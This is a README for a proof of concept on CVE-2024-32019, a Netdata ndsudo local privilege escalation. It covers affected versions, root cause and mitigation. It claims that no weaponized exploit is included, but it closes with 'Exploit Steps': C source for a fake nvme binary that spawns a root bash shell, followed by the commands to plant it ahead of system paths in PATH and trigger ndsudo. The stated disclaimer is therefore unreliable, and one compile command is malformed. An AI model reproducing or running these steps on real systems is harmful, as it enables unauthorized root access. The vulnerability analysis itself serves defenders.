cve-2024-32019-PoC

CVE-2024-32019 — Netdata ndsudo Local Privilege Escalation

Summary

Netdata’s ndsudo helper (installed setuid root) restricts which commands it will run, but resolves those commands using the caller’s PATH. In impacted versions, a local user can place a malicious binary earlier in PATH and have ndsudo execute it with root privileges. Patched in Netdata 1.45.3 and 1.45.0-169.

Affected / Patched

• Affected: >= 1.44.0-60, < 1.45.0-169 and >= 1.45.0, < 1.45.3 (per upstream advisory).

• Fixed: 1.45.3 (stable), 1.45.0-169 (nightly). GitHub

Impact

Local privilege escalation to root on systems where ndsudo is installed SUID and the user can invoke it (commonly members of the netdata group). NVDGitHub

Root Cause (high-level)

• ndsudo is SUID-root and whitelists subcommands like nvme-list, nvme-smart-log, etc.

• It calls external executables by name (e.g., nvme), which are resolved via PATH instead of using absolute paths or a safe, fixed search.

• If a writable directory appears before system paths, an attacker can introduce a look-alike binary that gets executed as root. GitHub

Safe Reproduction / Verification

This repository includes non-exploit checkers that:

• Inspect /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo (or wherever installed) for SUID/ownership.

• Enumerate PATH for writable directories earlier than common system paths.

• Confirm presence of whitelisted subcommand names that ndsudo might try to execute.

• Optionally run ndsudo --test <subcommand> to print the resolved command without executing it (use with caution, read code first). GitHub

⚠️ No weaponized PoC is included. This project is for defenders and researchers to assess exposure and validate patches responsibly.

Mitigation

• Upgrade Netdata to 1.45.3 (stable) or 1.45.0-169 (nightly).

• As a defense-in-depth measure, prefer absolute paths or sanitized minimal PATH in SUID helpers; avoid granting unnecessary ndsudo access. GitHubwiz.io

Exploit Steps

1. Save the following C code as nvme.c:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    execl("/bin/bash", "bash", NULL);
    return 0;
}

2. Compile the Exploit

gcc nvme.c - nvme

3. Environment Set-Up

mkdir -p /tmp/fakebin
mv nvme /tmp/fakebin/
chmod +x /tmp/fakebin/nvme

4. Modify the PATH

export PATH=/tmp/fakebin:$PATH

5. Exploit Command

/opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list

References

• NVD: CVE-2024-32019. NVD

• Netdata Advisory (GHSA-pmhq-4cxq-wj93). GitHub

• Wiz summary. wiz.io

• Snyk write-up. Vulnerability Guide

• MITRE/CVE listing. CVE